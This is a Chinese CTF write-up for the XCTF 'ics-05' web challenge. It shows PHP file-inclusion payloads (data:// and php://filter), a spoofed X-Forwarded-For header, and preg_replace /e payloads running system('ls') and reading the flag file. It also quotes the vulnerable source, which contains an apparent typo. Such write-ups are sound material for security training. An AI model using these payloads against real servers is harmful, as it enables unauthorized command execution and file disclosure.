XCTF-web-ics-05
访问页面,似曾相识的页面,查看源代码,搜索php
,找到index.php
,访问index.php
看不出什么,继续访问index.php
的源代码获取到有用信息page=index
的传参
这应该是一个文件包含,尝试使用data://
协议进行命令执行
?page=data://text/plain,<?php phpinfo();?>
没有任何回显,可能是过滤了,接着使用最常用的文件包含php://filter
协议
?page=php://filter/read=convert.base64-encode/resource=index.php
包含成功,使用base64解析该源代码
echo -n "base64_content" | base64 -d > test.php
有两段重要的php代码,第一个是我们文件包含的条件语句
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
下面这个是我们需要命令执行
的php语句
/方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replarepsystemcement, $subject);
}else{
die();
}
}
上述中有一个危险函数preg_replace
.
让我们来了解一个preg_replace()
这个函数的用法:
preg_replace($pattern,$replacement,$subject)
:看下面代码案例既可以明白
但是该函数有一个危险的地方,就是$pattern
的值中有/e
,那么$replacement
的值会被当做php代码
执行,这是我们可以利用的,尝试在本地进行命令执行
<?php
$pat = $_GET['pat'];
$rep = $_GET['rep'];
$sub = $_GET['sub'];
preg_replace($pat,$rep,$sub);
?>
传入下方代码
?pat=/test/e&rep=system('cd');&sub=test
我使用的是windows
电脑,在windwos
电脑中使用cd
命令会显示当前所在的目录
在分析上述代码中,我们需要满足一个条件
只有我们的X-Forwarded-For
请求头的值为127.0.0.1
才可以传入$pat、$rep和$sub
变量,有了上述条件,我们最终传入payload
-
使用
hackerbar
添加请求头
-
发送
payload
进行命令执行
?pat=/test/e&rep=system('ls');&sub=test
成功命令执行
最后获取flag
?pat=/test/e&rep=system('cat s3chahahaDir/flag/flag.php');&sub=test
注意,flag
在源代码中